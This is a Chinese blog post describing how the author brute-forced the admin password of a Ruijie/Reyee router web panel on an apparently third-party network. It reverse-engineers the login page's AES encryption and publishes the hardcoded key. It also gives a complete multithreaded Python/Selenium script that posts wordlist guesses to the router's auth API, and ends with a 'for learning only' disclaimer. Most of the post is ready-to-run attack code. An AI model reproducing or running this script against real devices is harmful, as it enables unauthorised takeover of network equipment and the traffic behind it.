记一次对锐捷路由后台密码的爆破

一次对锐捷路由后台密码的爆破

背景

本文介绍的方法并不是最佳的方法,仅作为参考方法

某次,发现某个网络的路由后台:

Reyee主界面

看到只有密码栏,用户名可能是固定的,先抓一个登录包:

Reyee抓包

这里输入的密码是123456,可以看到密码被加密了,来看看前端是怎样加密的,发现这样一段 JavaScript 代码:

Reyee前端Js加密

跟踪到GibberishAES.enc函数:

AES加密代码

在 Gh 上找到了项目:

Gibberish_AES_Gh

作者给出了一种使用 openssl 解密的方法:

1
echo "xxx" | openssl enc -d -aes-256-cbc -a -k key -md md5

关键在于拿到 key,而这不是难事:

获取密钥

尝试来解密我们刚刚的密码:

AES解密

这里由于使用了 AES 的 CBC 模式加密,相同明文加密而成的密文是不同的。另外,我在成功破解密码后,尝试去掉命令里的-d来通过正确的密码明文生成密文,但是提交后登录失败,具体原因未知

编写脚本

这里使用selenium启动浏览器运行加密密码的 JavaScript 来获取生成的密文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>

<body>
<script src="./aes.js"></script>
<p id="para"></p>
<script>
function getPar(par) {
var local_url = document.location.href;
var get = local_url.indexOf(par + "=");
if (get == -1) {
return false;
}
var get_par = local_url.slice(par.length + get + 1);
var nextPar = get_par.indexOf("&");
if (nextPar != -1) {
get_par = get_par.slice(0, nextPar);
}
return get_par;
}

document.getElementById("para").innerText = GibberishAES.enc(getPar("enc"), "RjYkhwzx$2018!").replace(/\s+/g, '');
</script>
</body>

</html>

其中aes.js为加密的脚本,与 HTML 同目录,使用 Python 启动一个 HTTP 服务,然后访问:

获取AES加密

然后写一个 Py 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import re
import time
import json
import requests
import threading
from selenium import webdriver
from selenium.webdriver.chrome.options import Options

# 更改 ip
attUrl = "http://192.168.110.1/cgi-bin/luci/api/auth"
encUrl = "http://127.0.0.1:8000"

def get_enc(password: str) -> str:
chrome_options = Options()
chrome_options.add_argument('--headless')
chrome_options.add_experimental_option('excludeSwitches', ['enable-logging'])
driver = webdriver.Chrome(options=chrome_options)
driver.get(encUrl + f"/?enc={password}")
password0 = re.findall('\<p id\=\"para\"\>(.*)\<\/p\>', driver.page_source)
driver.close()
return password0[0]

def get_att(req_json: str, timestamp: str) -> str:
headers = {
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
"Content-type": "application/json",
"Accept": "*/*",
# 更改 ip
"Referer": f"http://192.168.110.1/cgi-bin/luci/?stamp={timestamp}",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7",
"Cookie": "__APP_LANG__=en",
"Connection": "close"
}
r = requests.post(attUrl, data=req_json, headers=headers)
return json.loads(r.text)

def res_print(res: str, password: str) -> None:
if res["code"] == 0 and res["id"] == None and res["data"] == None:
# print(f"{password} is Failed")
pass
else:
print(f"=-=-=-= Attention To {password} =-=-=-=")

def read_file(filename: str) -> list:
passwords = []
with open(file=filename, mode="r") as f:
for line in f:
passwords.append(line.split()[0])
return passwords

def job(password: str, thread_limit: threading.Semaphore) -> None:
thread_limit.acquire()
password0 = get_enc(password)
time0 = str(int(time.time()))
req_raw = {"method": "login", "params": {"password": password0, "username": "admin", "time": time0, "encry": True, "limit": False}}
req_json = json.dumps(req_raw)
res = get_att(req_json, time0)
res_print(res, password)
thread_limit.release()

def job_start(filename: str, thread: int) -> None:
passwords = read_file(filename)
thread_limit = threading.Semaphore(thread)
for p in passwords:
# print(f"Try password: {p}")
t = threading.Thread(target=job, args=(p, thread_limit))
t.start()
t.join()
time.sleep(2)
print("\n!!! ALL DOWN !!!\n")


if __name__ == "__main__":
job_start("passwords.txt", 10)

默认读取passwords.txt里的密码,默认线程数 10,爆破结果:

密码爆破成功

来到后台:

进入主页面

总结

这次能成功还是因为路由后台的弱口令,并且没有次数的限制

以上内容仅供学习参考,请遵照网络安全法合理使用,如果使用者使用以上脚本等内容出现任何非法攻击等违法行为,与作者无关